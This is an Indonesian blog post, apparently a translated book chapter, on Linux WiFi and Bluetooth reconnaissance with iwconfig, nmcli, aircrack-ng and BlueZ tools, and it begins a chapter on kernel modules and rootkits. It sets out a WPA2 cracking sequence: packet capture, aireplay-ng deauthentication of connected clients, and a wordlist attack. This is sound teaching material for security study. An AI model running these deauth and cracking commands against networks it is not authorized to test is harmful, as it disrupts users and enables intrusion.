Rabu, 05 Juli 2023
hacking 4
Juli 05, 2023
hacking 4
sistem Anda sangat penting untuk menjadi Hacker yang sukses, dan dengan teknologi
nirkabel seperti WiFi (IEEE 802.1) dan Bluetooth menjadi kunci pencarian dan Bluetooth
standar. Jika seseorang dapat meretas koneksi nirkabel, mereka dapat memperoleh akses ke
perangkat dan mengakses informasi rahasia. Langkah pertama, tentu saja, adalah
mempelajari cara menemukan perangkat ini.
Di Bab 3, kita melihat beberapa perintah jaringan dasar di Linux, termasuk beberapa
dasar-dasar jaringan nirkabel, dengan janji akan lebih banyak jaringan nirkabel di Bab 14.
Seperti yang dijanjikan di sini, dua teknologi nirkabel Linux: WiFi dan Bluetooth.
14.1 JARINGAN WI-FI
Kami akan mulai dengan WiFi. Di bagian ini, saya akan menunjukkan cara
menemukan, memeriksa, dan menghubungkan ke titik akses WiFi. Sebelum melakukannya,
mari luangkan sedikit waktu untuk mempelajari beberapa istilah dan teknologi dasar WiFi
untuk membantu Anda lebih memahami keluaran dari banyak pertanyaan yang akan kita
buat di bab ini:
AP (access point /titik akses) Ini adalah perangkat yang dihubungkan pengguna nirkabel
untuk akses internet.
ESSID ((extended service set identifier /pengidentifikasi kumpulan layanan yang diperluas)
Ini sama dengan SSID yang telah kita bahas di Bab 3, tetapi dapat digunakan untuk beberapa
AP dalam LAN nirkabel.
BSSID (basic service set identifier /pengidentifikasi set layanan dasar) Ini adalah pengenal
unik dari setiap AP, dan sama dengan alamat MAC perangkat.
SSID (service set identifier /pengidentifikasi set layanan) Ini adalah nama jaringan.
Channel WiFi dapat beroperasi di salah satu dari 14 saluran (1–14). Di Amerika Serikat, WiFi
terbatas untuk saluran 1–11.
Power/Daya Semakin dekat Anda dengan WiFi AP, semakin besar dayanya, dan semakin
mudah koneksi untuk retak.
Security Ini adalah protokol keamanan yang digunakan pada AP WiFi yang sedang dibaca.
Ada tiga protokol keamanan utama untuk WiFi. Aslinya, Wired Equivalent Privacy (WEP),
sangat cacat dan mudah retak. Penggantinya, WiFi Protected Access (WPA), sedikit lebih
aman. Terakhir, WPA2PSK, yang jauh lebih aman dan menggunakan preshared key (PSK)
yang dibagikan oleh semua pengguna, kini digunakan oleh hampir semua AP WiFi (kecuali
WiFi perusahaan).
Mode WiFi dapat beroperasi di salah satu dari tiga mode: terkelola, master, atau monitor.
Anda akan mempelajari arti mode ini di bagian berikutnya.
Jangkauan nirkabel Di Amerika Serikat, AP WiFi harus secara legal menyiarkan sinyalnya
pada batas atas 0,5 watt. Dengan kekuatan ini, ia memiliki jangkauan normal sekitar 300 kaki
(100 meter). Antena highgain dapat memperluas jangkauan ini hingga hingga 20 mil.
Frekuensi WiFi dirancang untuk beroperasi pada 2.4GHz dan 5GHz. AP WiFi modern dan
kartu jaringan nirkabel sering menggunakan keduanya.
Perintah Nirkabel Dasar
Di Bab 3, Anda telah diperkenalkan dengan perintah jaringan dasar Linux ifconfig,
yang mencantumkan setiap antarmuka jaringan yang diaktifkan pada sistem Anda bersama
dengan beberapa statistik dasar, termasuk (yang paling penting) setiap alamat IP dari setiap
alamat IP. Mari kita lihat lagi hasil Anda dari menjalankan ifconfig dan fokus pada koneksi
nirkabel kali ini.
kali >ifconfig
eth0Linkencap:EthernetHWaddr 00:0c:29:ba:82:0f
inet addr:192:168.181.131 Bcast:192.168.181.255 Mask:255.255.255.0
--snip--
lo Linkencap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
--snip—
➊ wlan0 Link encap:EthernetHWaddr 00:c0:ca:3f:ee:02
Antarmuka WiFi di sini ditampilkan sebagai wlan0 ➊. Di Kali Linux, antarmuka WiFi
biasanya disebut sebagai wlanX, dengan X mewakili jumlah antarmuka tersebut. Dengan
kata lain, adaptor WiFi pertama di sistem Anda akan diberi label wlan0, wlan kedua1, dan
seterusnya.
Jika Anda hanya ingin melihat antarmuka WiFi Anda dan statistiknya, Linux memiliki
perintah khusus yang mirip dengan ifconfig tetapi didedikasikan untuk nirkabel. Perintah
tersebut adalah iwconfig . Saat Anda memasukkannya, hanya antarmuka nirkabel Anda dan
data kuncinya yang ditampilkan:
kali >iwconfig
lo no wireless extensions
wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point:Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS t
hr:off Fragment thr:off
Encryption key:off
Power Management:off
eth0 no wireless extensions
Di sini, kita hanya melihat antarmuka nirkabel, juga dikenal sebagai kartu jaringan, dan data
penting tentangnya, termasuk standar nirkabel yang digunakan, apakah ESSID dimatikan,
dan modenya. Mode ini memiliki tiga setelan: terkelola, artinya siap untuk bergabung atau
telah bergabung dengan AP; master, yang artinya siap bertindak sebagai atau sudah menjadi
AP, dan memantau, yang akan kita bahas sedikit Bab. Kami juga dapat melihat apakah ada
klien yang terkait dengannya dan apa daya pancarnya, di antara hal-hal lainnya. Anda dapat
mengetahui dari contoh ini bahwa wlan0 berada dalam mode yang diperlukan untuk
terhubung ke jaringan WiFi tetapi belum terhubung ke jaringan apa pun. Kami akan
meninjau kembali perintah ini lagi setelah antarmuka nirkabel terhubung ke jaringan WiFi.
Jika Anda tidak yakin dengan AP WiFi yang ingin Anda sambungkan, Anda dapat
melihat semua titik akses nirkabel yang dapat dijangkau oleh kartu jaringan Anda
menggunakan perintah iwlist. Sintaks untuk iwlist adalah sebagai berikut:
iwlist interface action
Anda dapat melakukan beberapa tindakan dengan iwlist. Untuk tujuan kami, kami akan
menggunakan tindakan pemindaian untuk melihat semua AP WiFi di area Anda. (Perhatikan
bahwa dengan antena standar, jangkauan Anda adalah 300–500 kaki, tetapi ini dapat
diperpanjang dengan antena highgain yang murah).
kali >iwlist wlan0 scan
wlan0 Scan completed:
Cell 01 - Address:88:AD:43:75:B3:82
Channel:1
Frequency:2.412GHz (Channel 1)
Quality=70/70 Signal level =-38 dBm
Encryption key:off
ESSID:"Hackers-Bangkit"
--snip--
Keluaran dari perintah ini harus mencakup semua AP WiFi dalam jangkauan
antarmuka nirkabel Anda, bersama dengan data kunci tentang setiap AP, seperti alamat
MAC dari AP, saluran dan frekuensinya, tingkat kualitas operasinya, apakah kunci enkripsinya
diaktifkan, dan ESSID-nya.
Anda akan memerlukan alamat MAC dari AP target (BSSID), alamat MAC klien (kartu
jaringan nirkabel lain), dan saluran tempat AP beroperasi untuk melakukan segala jenis
peretasan, jadi ini adalah informasi yang berharga.
Perintah lain yang sangat berguna dalam mengelola koneksi WiFi Anda adalah nmcli
(atau antarmuka baris perintah pengelola jaringan). Daemon Linux yang menyediakan
antarmuka tingkat tinggi untuk antarmuka jaringan (termasuk nirkabel) dikenal sebagai
manajer jaringan. Umumnya, pengguna Linux sudah familiar dengan daemon ini dari
antarmuka pengguna grafis (GUI), tetapi daemon ini juga dapat digunakan dari baris perintah.
Perintah nmcli dapat digunakan untuk melihat AP WiFi di dekat Anda dan data
kuncinya, seperti yang kami lakukan dengan iwlist, tetapi perintah ini memberi kami sedikit
lebih banyak informasi. Kami menggunakannya dalam format nmcli dev networktype, di
mana dev adalah singkatan dari perangkat dan jenisnya (dalam hal ini) adalah wifi, seperti:
kali >nmcli dev wifi
* SSID MODE CHAN RATE SIGNAL BARS SECURITY
Hackers-Bangkit Infra 1 54 Mbits/s 100 WPA1 WPA2
Xfinitywifi Infra 1 54 Mbits/s 75 WPA2
TPTV1 Infra 11 54 Mbits/s 44 WPA1 WPA2 --snip--
Selain menampilkan AP WiFi dalam jangkauan dan data penting tentangnya,
termasuk SSID, mode, saluran, kecepatan transfer, kekuatan sinyal, dan protokol keamanan
yang diaktifkan pada perangkat, nmcli dapat digunakan menghubungkan ke AP. Sintaks
untuk menghubungkan ke AP adalah sebagai berikut:
nmcli dev wifi connect AP-SSID password APpassword
Jadi, berdasarkan hasil dari perintah pertama kami, kami tahu ada AP dengan SSID
Hacker-Bangkit. Kami juga tahu bahwa AP memiliki keamanan WPA1 WPA2 (ini berarti
bahwa AP mampu menggunakan baik WPA1 lama dan WPA yang lebih baru), yang berarti
kami harus memberikan kata sandi untuk terhubung ke jaringan. Untungnya, karena ini
adalah AP kami, kami tahu sandinya adalah 12345678, jadi kami dapat memasukkan yang
berikut:
kali >nmcli dev wifi connect Hackers-Bangkit password 12345678
Device 'wlan0' successfully activated with '394a5bf4-8af4-36f8-49beda6cb530'
Coba ini di jaringan yang Anda kenal, lalu ketika Anda berhasil tersambung ke AP nirkabel
tersebut, jalankan iwconfig lagi untuk melihat apa yang telah berubah. Berikut keluaran saya
dari menghubungkan ke HackersBangkit:
kali >iwconfig
lo no wireless extensions
wlan0 IEEE 802.11bg ESSID:"Hackers-Bangkit"
Mode:Managed Frequency:2.452GHz Access Point:00:25:9C:97:4F:48
Bit Rate=12 Mbs Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=64/70 Signal level=-46 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive reties:0 Invalid misc:13 Missed beacon:0
eth0 no wireless extensions
Perhatikan bahwa sekarang iwconfig telah menunjukkan bahwa ESSID adalah "HackersBangkit" dan bahwa AP beroperasi pada frekuensi 2,452 GHz. Dalam jaringan WiFi, mungkin
beberapa AP semuanya menjadi bagian dari jaringan yang sama, sehingga mungkin ada
banyak AP yang membentuk jaringan Hackers-Bangkit. Alamat MAC 00:25:9C:97:4F:48
adalah, seperti yang Anda duga, MAC dari AP yang saya hubungkan. Jenis keamanan yang
digunakan jaringan WiFi, apakah berjalan pada 2.4GHz atau 5GHz, apa ESSID-nya, dan alamat
MAC AP adalah semua bagian informasi penting yang diperlukan untuk peretasan WiFi.
Sekarang setelah Anda mengetahui perintah dasarnya, mari masuk ke beberapa peretasan.
Pengintaian Wi-Fi dengan aircrack-ng Salah satu eksploitasi yang paling populer
untuk dicoba oleh Hacker baru adalah meretas titik akses WiFi. Seperti yang telah disebutkan,
sebelum Anda bahkan dapat mempertimbangkan untuk menyerang AP WiFi, Anda
memerlukan alamat MAC dari AP target (BSSID), alamat MAC klien, dan saluran tempat AP
beroperasi.
Kami dapat mendapatkan semua informasi itu dan lainnya menggunakan alat dari
aircrackng suite. Saya telah menyebutkan perangkat hacking toolan WiFi ini beberapa kali
sebelumnya, dan sekarang saatnya untuk benar-benar menggunakannya. Rangkaian alat ini
disertakan di setiap versi Kali, jadi Anda tidak perlu mengunduh atau memasang apa pun.
Untuk menggunakan alat ini secara efektif, Anda harus terlebih dahulu memasukkan
kartu jaringan nirkabel ke mode monitor sehingga kartu tersebut dapat melihat semua lalu
lintas yang lewat. Biasanya, kartu jaringan hanya menangkap lalu lintas yang ditujukan
khusus untuk kartu tersebut. Mode monitor mirip dengan mode promiscuous pada kartu
jaringan berkabel.
Untuk menempatkan kartu jaringan nirkabel Anda dalam mode monitor, gunakan
perintah airmon-ng dari aircrackng suite. Sintaks untuk perintah ini sederhana:
airmon-ng start|stop|restart interface
Jadi, jika Anda ingin memasukkan kartu jaringan nirkabel Anda (yang ditunjuk wlan0) ke
dalam mode monitor, Anda akan memasukkan yang berikut ini:
kali >airmon-ng start wlan0
Found three processes that could cause trouble
If airodump-ng, aireplay-ng, or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
--snip--
PHY INTERFACE DRIVER Chipset
phy0 wlan0 rt18187 Realtek Semiconductor Corop RTL8187
(mac8311 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
--snip--
Perintah stop dan memulai ulang, berturut-turut, menghentikan mode monitor dan memulai
ulang mode monitor jika Anda mendapatkan masalah.
Dengan kartu nirkabel dalam mode monitor, Anda dapat mengakses semua lalu lintas
nirkabel yang lewat dalam jangkauan adaptor dan antena jaringan nirkabel Anda (standarnya
sekitar 300–500 kaki). Perhatikan bahwa airmon-ng akan mengganti nama antarmuka
nirkabel Anda: milik saya telah diubah namanya menjadi "wlan0mon", meskipun milik Anda
mungkin berbeda. Pastikan untuk mencatat nama baru yang ditetapkan untuk nirkabel Anda
karena Anda akan memerlukan informasi tersebut di langkah berikutnya.
Sekarang kami akan menggunakan alat lain dari aircrackng suite untuk menemukan
data kunci dari lalu lintas nirkabel. Perintah airodump-ng mengambil dan menampilkan data
kunci dari AP penyiaran dan setiap klien yang terhubung ke AP tersebut atau di sekitar.
Sintaksnya di sini sangat mudah: cukup pasang airdump-ng, diikuti dengan nama antarmuka
yang Anda dapatkan dari menjalankan airmon-ng barusan. Saat Anda mengeluarkan
perintah ini, kartu nirkabel Anda akan mengambil informasi penting (tercantum berikutnya)
dari semua lalu lintas nirkabel AP di sekitar:
BSSID Alamat MAC AP atau klien
PWR Kekuatan sinyal
ENC Enkripsi yang digunakan untuk mengamankan transmisi
#Data Tingkat throughput data
CH Saluran tempat AP beroperasi
ESSID Nama AP
kali >airodump-ng wlan0mon
CH 9][ Elapsed: 28 s ][ 2018-02-08 10:27
BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
01:01:AA:BB:CC:22 -1 4 26 0 10 54e WPA2 CCMP PSK Hackers-Bangkit
--snip--
BSSID Station PWR Rate Lost Frames Probe
(not associated) 01:01:AA:BB:CC:22
01:02:CC:DD:03:CF A0:A3:E2:44:7C:E5
Perhatikan bahwa airodump-ng membagi layar keluaran menjadi bagian atas dan bawah.
Bagian atas memiliki informasi tentang AP penyiaran, termasuk BSSID, kekuatan AP, berapa
banyak beacon frame yang telah terdeteksi, tingkat throughput data, berapa banyak paket
yang telah melintasi kartu nirkabel(1–14), batas throughput teoretis, protokol enkripsi, sandi
yang digunakan untuk enkripsi, jenis otentikasi, dan ESSID (biasanya disebut sebagai SSID). Di
bagian klien, output memberi tahu kami bahwa satu klien tidak terkait, artinya telah
terdeteksi tetapi tidak terhubung ke AP mana pun, dan yang lain terkait dengan stasiun,
artinya alamat terhubung ke AP.
Sekarang Anda memiliki semua informasi yang Anda butuhkan untuk memecahkan
AP! Meskipun di luar cakupan buku ini, untuk memecahkan AP nirkabel, Anda memerlukan
alamat MAC klien, alamat MAC AP, saluran tempat target beroperasi, dan daftar kata sandi.
Jadi untuk memecahkan sandi WiFi, Anda akan membuka tiga terminal. Di terminal
pertama, Anda akan memasukkan perintah yang mirip dengan berikut, mengisi klien dan
alamat MAC AP dan saluran:
airodump-ng -c 10 --bssid 01:01:AA:BB:CC:22 -w Hackers-BangkitPSK wlan0mon
Perintah ini menangkap semua paket yang melintasi AP di saluran 10 menggunakan opsi -c.
Di terminal lain, Anda dapat menggunakan perintah aireplay-ng untuk mematikan
(menghentikan autentikasi) siapa pun yang terhubung ke AP dan memaksa mereka untuk
mengautentikasi ulang ke AP, seperti yang ditunjukkan berikutnya. Saat mereka
mengautentikasi ulang, Anda dapat menangkap hash dari kata sandi mereka yang ditukar
dalam jabat tangan empat arah WPA2PSK. Hash sandi akan muncul di pojok kanan atas
terminal airodump-ng.
aireplay-ng --deauth 100 -a 01:01:AA:BB:CC:22-c A0:A3:E2:44:7C:E5 wlan0mon
Terakhir, di terminal terakhir, Anda dapat menggunakan daftar kata sandi
(wordlist.dic) untuk menemukan kata sandi di hash yang diambil (HackersBangkitPSK.cap),
seperti yang ditunjukkan di sini:
aircrack-ng -w wordlist.dic -b 01:01:AA:BB:CC:22 Hacker-BangkitPSK.cap
14.2 MENDETEKSI DAN MENYAMBUNGKAN KE BLUETOOTH
Saat ini, hampir setiap gadget, perangkat seluler, dan sistem telah dilengkapi
Bluetooth, termasuk komputer, smartphone, iPod, tablet, speaker, pengontrol game,
keyboard, dan banyak perangkat lainnya. Mampu meretas Bluetooth dapat mengakibatkan
kompromi informasi apa pun di perangkat, kontrol perangkat, dan kemampuan untuk
mengirim informasi yang tidak diinginkan ke dan dari perangkat, antara lain.
Untuk mengeksploitasi teknologi, kita perlu memahami cara kerjanya. Pemahaman
mendalam tentang Bluetooth berada di luar cakupan buku ini, tetapi saya akan memberi
Anda beberapa pengetahuan dasar yang akan membantu Anda memindai dan
menghubungkan ke perangkat Bluetooth sebagai persiapan untuk meretasnya.
Cara Kerja Bluetooth
Bluetooth adalah protokol universal untuk komunikasi jarak dekat berdaya rendah
yang beroperasi pada 2.4–2.485GHz menggunakan spektrum penyebaran, lompatan
frekuensi pada 1.600 lompatan per detik (lompatan frekuensi ini adalah ukuran keamanan).
Ini dikembangkan pada tahun 1994 oleh Ericsson Corp. dari Swedia dan dinamai menurut
raja Denmark Harald Bluetooth abad ke-10 (perhatikan bahwa Swedia dan Denmark adalah
satu negara di abad ke-10).
Spesifikasi Bluetooth memiliki jangkauan minimum 10 meter, tetapi tidak ada
batasan untuk produsen kisaran atas yang dapat diterapkan di perangkat mereka.
Banyak perangkat memiliki rentang sebesar 100 meter. Dengan antena khusus, jangkauan
tersebut dapat diperpanjang lebih jauh.
Menghubungkan dua perangkat Bluetooth disebut sebagai penyandingan. Hampir
semua perangkat Bluetooth dapat terhubung satu sama lain, tetapi keduanya hanya dapat
disandingkan jika berada dalam mode yang dapat ditemukan. Perangkat Bluetooth dalam
mode dapat ditemukan mentransmisikan informasi berikut:
Nama
Kelas
Daftar layanan
Informasi teknis
Saat kedua perangkat berpasangan, mereka bertukar kunci rahasia atau tautan. Setiap
menyimpan kunci tautan ini agar dapat mengidentifikasi yang lain dalam penyambungan di
masa mendatang.
Setiap perangkat memiliki pengenal 48bit yang unik (alamat mirip MAC) dan biasanya
nama yang ditetapkan oleh pabrikan. Ini akan menjadi bagian data yang berguna saat kami
ingin mengidentifikasi dan mengakses perangkat.
Bluetooth Scanning and Reconnaissance
Linux memiliki implementasi dari tumpukan protokol Bluetooth yang disebut BlueZ
yang akan kami gunakan untuk memindai sinyal Bluetooth. Sebagian besar distribusi Linux,
termasuk Kali Linux, telah menginstalnya secara default. Jika milik Anda tidak, Anda biasanya
dapat menemukannya di repositori Anda menggunakan perintah berikut:
kali >apt-get install bluez
BlueZ memiliki sejumlah alat sederhana yang dapat kami gunakan untuk mengelola dan
memindai perangkat Bluetooth, termasuk yang berikut ini:
hciconfig Alat ini beroperasi sangat mirip dengan ifconfig di Linux, tetapi untuk perangkat
Bluetooth. Seperti yang dapat Anda lihat di Daftar 141, saya telah menggunakannya untuk
menampilkan antarmuka Bluetooth dan menanyakan perangkat untuk spesifikasinya.
hcitool Alat pertanyaan ini dapat memberi kami nama perangkat, ID perangkat, kelas
perangkat, dan informasi jam perangkat, yang memungkinkan perangkat bekerja secara
serempak.
hcidump Alat ini memungkinkan kita untuk mengendus komunikasi Bluetooth,
artinya kita dapat menangkap data yang dikirim melalui sinyal Bluetooth.
Langkah pemindaian dan pengintaian pertama dengan Bluetooth adalah memeriksa
apakah adaptor Bluetooth pada sistem yang kami gunakan dikenali dan diaktifkan sehingga
kami dapat menggunakannya untuk memindai perangkat lain. Kita dapat melakukan ini
dengan hciconfig alat BlueZ bawaan, seperti yang ditunjukkan di Daftar 14.1
kali >hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: 10:AE:60:58:F1:37 ACL MTU: 310:10 SCO MTU: 64:8
UP RUNNING PSCAN INQUIRY
RX bytes:131433 acl:45 sco:0 events:10519 errors:0
TX bytes:42881 acl:45 sco:0 commands:5081 errors:0
Daftar 14.1 Memindai untuk perangkat Bluetooth
Seperti yang Anda lihat, adaptor Bluetooth saya dikenali dengan alamat MAC
10:AE:60:58:F1:37. Adaptor ini telah diberi nama hci0. Langkah berikutnya adalah
memeriksa apakah koneksi telah diaktifkan, yang juga dapat kita lakukan dengan hciconfig
dengan memberikan nama dan perintah naik:
kali >hciconfig hci0 up
Jika perintah berhasil berhasil, kami tidak akan melihat output, hanya promp baru.
Bagus, hci0 sudah siap, Mari kita lakukan.
Memindai Perangkat Bluetooth dengan hcitool
Sekarang setelah kita mengetahui bahwa adaptor kita sudah aktif, kita dapat
menggunakan alat lain di suite BlueZ yang disebut hcitool, yang digunakan untuk memindai
perangkat Bluetooth lain dalam jangkauan.
Mari pertama-tama gunakan fungsi pemindaian alat ini untuk mencari perangkat
Bluetooth yang mengirimkan suar penemuannya, artinya perangkat tersebut dalam mode
penemuan, dengan perintah pemindaian sederhana yang ditampilkan di Daftar 14.2.
kali >hcitool scan
Scanning...
72:6E:46:65:72:66 ANDROID BT
22:C5:96:08:5D:32 SCH-I535
Daftar 14.2 Memindai perangkat Bluetooth dalam mode penemuan
Seperti yang Anda lihat, di sistem saya, hcitool menemukan dua perangkat, ANDROID
BT dan SCHI535. Perangkat Anda kemungkinan akan memberi Anda keluaran yang berbeda
tergantung pada perangkat yang Anda miliki. Untuk tujuan pengujian, coba tempatkan
ponsel Anda atau perangkat Bluetooth lainnya dalam mode penemuan dan lihat apakah
ponsel tersebut diambil dalam pemindaian. Sekarang, mari kumpulkan lebih banyak
informasi tentang perangkat yang terdeteksi dengan fungsi penyelidikan inq:
kali >hcitool inq
Inquiring...
24:C6:96:08:5D:33 clock offset:0x4e8b class:
6:6F:46:65:72:67 clock offset:0x21c0 class:0x5a020c
Ini memberi kami alamat MAC perangkat, offset jam, dan kelas perangkat. Kelas tersebut
menunjukkan jenis perangkat Bluetooth yang Anda temukan, dan Anda dapat mencari
kodenya dan melihat jenis perangkatnya dengan membuka situs Bluetooth SIG di
https://www.bluetooth.org/en-us/specification/assigned-numbers/servicediscovery/.
Alat hcitool adalah antarmuka baris perintah yang kuat ke tumpukan Bluetooth yang
dapat melakukan banyak hal. Daftar 143 menampilkan laman bantuan dengan beberapa
perintah yang dapat Anda gunakan. Lihat sendiri halaman bantuan untuk melihat daftar
lengkapnya.
kali >hcitool --help
hcitool - HCI Tool ver 4.99
Usage:
hcitool [options] <command> [command parameters]
Options:
--help Display help
-i dev HCI device
Commands
dev Display local devices
inq Inquire remote devices
scan Scan for remote devices
name Get name from remote devices
--snip--
Daftar 14.3 Beberapa perintah hcitool
Banyak hacking toolan Bluetooth yang akan Anda lihat hanya menggunakan perintah
ini dalam skrip, dan Anda dapat dengan mudah membuat alat Anda sendiri dengan
menggunakan perintah ini di skrip bash atau Python Anda sendiri—kita akan melihat skrip di
Bab 17.
Memindai Layanan dengan sdptool Service Discovery Protocol (SDP) adalah protokol
Bluetooth untuk mencari layanan Bluetooth (Bluetooth adalah rangkaian layanan), dan,
untuk membantu, BlueZ menyediakan alat sdptool untuk menjelajahi perangkat untuk
menyediakannya. Penting juga untuk diperhatikan bahwa perangkat tidak harus dalam mode
penemuan untuk dipindai. Sintaksnya adalah sebagai berikut:
sdptool browse MACaddress
Daftar 14.4 menunjukkan penggunaan sdptool untuk menelusuri layanan di salah
satu perangkat yang terdeteksi sebelumnya di Daftar 14.2.
kali >sdptool browse 76:6E:46:63:72:66
Browsing 76:6E:46:63:72:66...
Service RecHandle: 0x10002 Service Class ID List:
""(0x1800)
Protocol Descriptor List:
"L2CAP" (0x0100)
PSM: 31
"ATT" (0x0007)
uint16: 0x1
uint16: 0x5 --sni
Daftar 14.4 Memindai dengan sdptool
Di sini, kita dapat melihat bahwa alat sdptool mampu menarik informasi tentang
semua layanan yang dapat digunakan oleh perangkat ini. Secara khusus, kami melihat bahwa
perangkat ini mendukung Protokol ATT, yang merupakan Protokol Atribut Rendah Energi.
Hal ini dapat memberi kami lebih banyak petunjuk tentang apa itu perangkat dan
kemungkinan jalan potensial untuk berinteraksi dengannya lebih lanjut.
Melihat Apakah Perangkat Dapat Dijangkau dengan l2ping
Setelah kami mengumpulkan alamat MAC dari semua perangkat di sekitar, kami
dapat mengirimkan ping ke perangkat ini, baik dalam mode penemuan atau tidak, untuk
melihat apakah perangkat tersebut dalam jangkauan. Ini memungkinkan kami mengetahui
apakah mereka aktif dan dalam jangkauan. Untuk mengirim ping, kami menggunakan
perintah l2ping dengan sintaks berikut:
l2ping MACaddress
Daftar 14.5 menunjukkan saya melakukan ping ke perangkat Android yang ditemukan di
Daftar 14.2.
kali >l2ping 76:6E:46:63:72:66 -c 4
Ping: 76:6E:46:63:72:66 from 10:AE:60:58:F1:37 (data size 44)...
44 bytes 76:6E:46:63:72:66 id 0 time 37.57ms
44 bytes 76:6E:46:63:72:66 id 1 time 27.23ms
44 bytes 76:6E:46:63:72:66 id 2 time 27.59ms
--snip--
Daftar 14.5 Ping perangkat Bluetooth
Keluaran ini menunjukkan bahwa perangkat dengan alamat MAC 76:6E:46:63:72:66
berada dalam jangkauan dan dapat dijangkau. Ini adalah pengetahuan yang berguna, karena
kita harus tahu apakah suatu perangkat dapat dijangkau bahkan sebelum kita berpikir untuk
meretasnya.
14.3 RINGKASAN
Perangkat nirkabel mewakili masa depan konektivitas dan peretasan. Linux telah
mengembangkan perintah khusus untuk memindai dan menghubungkan ke WiFi AP sebagai
langkah pertama untuk meretas sistem tersebut. Perangkat peretasan aircrackng nirkabel
mencakup airmon-ng dan airodump-ng, yang memungkinkan kami untuk memindai dan
mengumpulkan informasi penting dari perangkat nirkabel dalam jangkauan. BlueZ suite
mencakup hciconfig , hcitool, dan alat lain yang mampu memindai dan mengumpulkan
informasi yang diperlukan untuk meretas perangkat Bluetooth dalam jangkauan. Ini juga
mencakup banyak alat lain yang layak untuk dijelajahi.
BAB 15
MENGELOLA KERNEL LINUX DAN MODUL KERNEL
Semua sistem operasi terdiri dari setidaknya dua komponen utama. Yang pertama
dan terpenting dari semua ini adalah kernel. Kernel berada di pusat sistem operasi dan
mengontrol semua yang dilakukan sistem operasi, termasuk mengelola memori, mengontrol
CPU, dan bahkan mengontrol apa yang dilihat pengguna di layar. Elemen kedua dari sistem
operasi sering disebut sebagai lahan pengguna dan mencakup hampir semua hal lainnya.
Kernel dirancang untuk menjadi area yang dilindungi atau diistimewakan yang hanya
dapat diakses oleh root atau akun istimewa lainnya. Ini untuk alasan yang baik, karena akses
ke kernel dapat memberikan akses yang hampir tidak terbatas ke sistem operasi. Akibatnya,
sebagian besar sistem operasi menyediakan akses pengguna dan layanan hanya ke lahan
pengguna, di mana pengguna dapat mengakses hampir semua yang mereka butuhkan tanpa
mengendalikan sistem operasi.
Akses ke kernel memungkinkan pengguna untuk mengubah cara kerja, tampilan, dan
nuansa sistem operasi. Ini juga memungkinkan mereka untuk merusak sistem operasi,
sehingga tidak dapat bekerja. Terlepas dari risiko ini, dalam beberapa kasus, admin sistem
harus sangat hati-hati mengakses kernel untuk alasan operasional dan keamanan.
Dalam bab ini, kita akan mempelajari cara mengubah cara kerja kernel dan
menambahkan modul baru ke kernel. Mungkin tidak perlu dikatakan bahwa jika seorang
Hacker dapat mengubah kernel target, mereka dapat mengontrol sistem. Selain itu,
penyerang mungkin perlu mengubah cara kerja kernel untuk beberapa serangan, seperti
serangan man-in-the-middle (MITM), di mana Hacker menempatkan dirinya di antara klien
dan server dan dapat menguping komunikasi atau mengubah komunikasi. Pertama, kita akan
melihat lebih dekat struktur kernel dan modulnya.
15.1 APA ITU MODUL KERNEL?
Kernel adalah sistem saraf pusat dari sistem operasi Anda, yang mengontrol semua
yang dilakukannya, termasuk mengelola interaksi antara komponen perangkat keras dan
memulai layanan yang diperlukan. Kernel beroperasi antara aplikasi pengguna yang Anda
lihat dan perangkat keras yang menjalankan semuanya, seperti CPU, memori, dan hard drive.
Linux adalah kernel monolitik yang memungkinkan penambahan modul kernel.
Dengan demikian, modul dapat ditambahkan dan dihapus dari kernel. Kernel terkadang
perlu diupdate, yang mungkin memerlukan pemasangan driver perangkat baru (seperti kartu
video, perangkat Bluetooth, atau perangkat USB), driver sistem file, dan bahkan ekstensi
sistem. Driver ini harus disematkan di kernel agar berfungsi sepenuhnya. Di beberapa sistem,
untuk menambahkan driver, Anda harus membangun kembali, mengompilasi, dan memboot ulang seluruh kernel, tetapi Linux memiliki kemampuan untuk menambahkan beberapa
modul ke kernel tanpa melalui seluruh proses tersebut. Modul ini disebut sebagai modul
kernel yang dapat dimuat, atau LKM.
LKM memiliki akses ke tingkat kernel terendah sesuai kebutuhan, menjadikannya
target yang sangat rentan bagi Hacker. Jenis software jahat tertentu yang dikenal sebagai
rootkit menyematkan dirinya ke dalam kernel sistem operasi, sering kali melalui LKM ini. Jika
malware menyematkan dirinya di kernel, Hacker dapat mengambil kendali penuh atas
sistem operasi.
Jika seorang Hacker dapat membuat admin Linux memuat modul baru ke kernel,
Hacker tidak hanya dapat memperoleh kendali atas sistem target tetapi, karena mereka
beroperasi pada tingkat kernel sistem operasi apa yang dapat dikendalikan adalah
melaporkan dalam hal proses, port, layanan, ruang hard drive, dan hampir semua hal lain
yang dapat Anda pikirkan.
Jadi, jika seorang Hacker berhasil menggoda admin Linux untuk menginstal video
atau driver perangkat lain yang memiliki rootkit tertanam di dalamnya, Hacker dapat
mengambil kendali total atas sistem dan kernel. Ini adalah cara beberapa rootkit yang paling
berbahaya memanfaatkan Linux dan sistem operasi lainnya.
Memahami LKM benar-benar merupakan kunci untuk menjadi admin Linux yang
efektif dan menjadi Hacker yang sangat efektif dan tersembunyi. Mari kita lihat bagaimana
kernel dapat dikelola untuk kebaikan dan keburukan.
15.2 MEMERIKSA VERSI KERNEL
Langkah pertama untuk memahami kernel adalah memeriksa kernel apa yang
dijalankan oleh sistem Anda. Setidaknya ada dua cara untuk melakukannya. Pertama, kita
dapat memasukkan yang berikut:
kali >uname -a
Linux Kali 4.6.0-kalil-amd64 #1 SMP Debian 4.6.4-lkalil (2016-07-21) x86_64
Kernel merespons dengan memberi tahu kami bahwa distribusi OS yang kami jalankan
adalah Linux Kali, versi kernel adalah 4.6.4, dan arsitektur yang digunakan adalah arsitektur
x86_64. Ini juga memberi tahu kami bahwa ia memiliki kemampuan symmetric
multiprocessing (SMP) (artinya dapat berjalan pada mesin dengan banyak inti atau prosesor)
dan dibangun di Debian 4.6.4 pada 21 Juli 2016. Output Anda mungkin berbeda, tergantung
pada kernel yang digunakan. digunakan di build Anda dan CPU di sistem Anda. Informasi ini
